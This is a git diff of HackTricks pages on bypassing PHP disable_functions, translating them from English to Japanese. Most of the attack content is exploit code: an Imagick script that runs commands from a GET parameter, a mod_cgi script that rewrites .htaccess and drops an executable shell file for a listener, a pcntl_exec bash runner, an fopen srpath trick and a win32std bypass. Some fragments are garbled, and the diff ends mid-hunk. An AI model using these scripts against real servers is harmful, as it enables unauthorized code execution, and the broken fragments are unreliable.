[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
# Imagick <= 3.3.0 PHP >= 5.4 Exploit -From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) - +[http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)から ```php # Exploit Title: PHP Imagick disable_functions Bypass # Date: 2016-05-04 @@ -49,44 +46,39 @@ From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog echo "Disable functions: " . ini_get("disable_functions") . "\n"; $command = isset($_GET['cmd']) ? $_GET['cmd'] : 'id'; echo "Run command: $command\n====================\n"; - + $data_file = tempnam('/tmp', 'img'); $imagick_file = tempnam('/tmp', 'img'); - + $exploit = <<$data_file")' pop graphic-context EOF; - + file_put_contents("$imagick_file", $exploit); $thumb = new Imagick(); $thumb->readImage("$imagick_file"); $thumb->writeImage(tempnam('/tmp', 'img')); $thumb->clear(); $thumb->destroy(); - + echo file_get_contents($data_file); ?> ``` - - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-mod_cgi.md b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-mod_cgi.md index e117ad43a..dd4a8c75c 100644 --- a/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-mod_cgi.md +++ b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-mod_cgi.md @@ -1,18 +1,16 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
@@ -20,7 +18,6 @@ # mod\_cgi From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) - ```php \n"; +echo "$text: " . ($condition ? $yes : $no) . "
\n"; } if (!isset($_GET['checked'])) { - @file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed - header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked +@file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed +header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked } else { - $modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled? - $writable = is_writable('.'); //current dir writable? - $htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled? - checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No"); - checkEnabled("Is writable",$writable,"Yes","No"); - checkEnabled("htaccess working",$htaccess,"Yes","No"); - if(!($modcgi && $writable && $htaccess)) - { - echo "Error. All of the above must be true for the script to work!"; //abort if not - } - else - { - checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know. - checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension - checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file - checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx - echo "Executing the script now. Check your listener "; //call the script - } +$modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled? +$writable = is_writable('.'); //current dir writable? +$htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled? +checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No"); +checkEnabled("Is writable",$writable,"Yes","No"); +checkEnabled("htaccess working",$htaccess,"Yes","No"); +if(!($modcgi && $writable && $htaccess)) +{ +echo "Error. All of the above must be true for the script to work!"; //abort if not +} +else +{ +checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know. +checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension +checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file +checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx +echo "Executing the script now. Check your listener "; //call the script +} } ?> ``` - - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl_exec.md b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl_exec.md index 490dcf65e..ccae8745d 100644 --- a/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl_exec.md +++ b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl_exec.md @@ -1,66 +1,58 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
# PHP 4 >= 4.2.0, PHP 5 pcntl\_exec -From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) - +[http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)から ```php out"; - pcntl_exec("/bin/bash", $cmd); - echo file_get_contents("out"); +$cmd = $cmd."&pkill -9 bash >out"; +pcntl_exec("/bin/bash", $cmd); +echo file_get_contents("out"); } else { - echo '不支持pcntl扩展'; +echo '不支持pcntl扩展'; } ?> ``` - - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2-fopen-exploit.md b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2-fopen-exploit.md index 2ebe7efdf..c598b8be6 100644 --- a/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2-fopen-exploit.md +++ b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2-fopen-exploit.md @@ -1,46 +1,38 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
# PHP 5.2 - FOpen Exploit -From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) - +[http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)から ```php php -r 'fopen("srpath://../../../../../../../dir/pliczek", "a");' ``` - - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2.3-win32std-ext-protections-bypass.md b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2.3-win32std-ext-protections-bypass.md index 50c234f80..f1aa0c173 100644 --- a/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2.3-win32std-ext-protections-bypass.md +++ b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2.3-win32std-ext-protections-bypass.md @@ -1,26 +1,23 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
# PHP 5.2.3 - Win32std ext Protections Bypass -From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) - +[http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)から引用 ```php ``` - - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2.4-and-5.2.5-php-curl.md b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2.4-and-5.2.5-php-curl.md index 4ec286b89..e50243d74 100644 --- a/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2.4-and-5.2.5-php-curl.md +++ b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2.4-and-5.2.5-php-curl.md @@ -1,54 +1,46 @@ - -
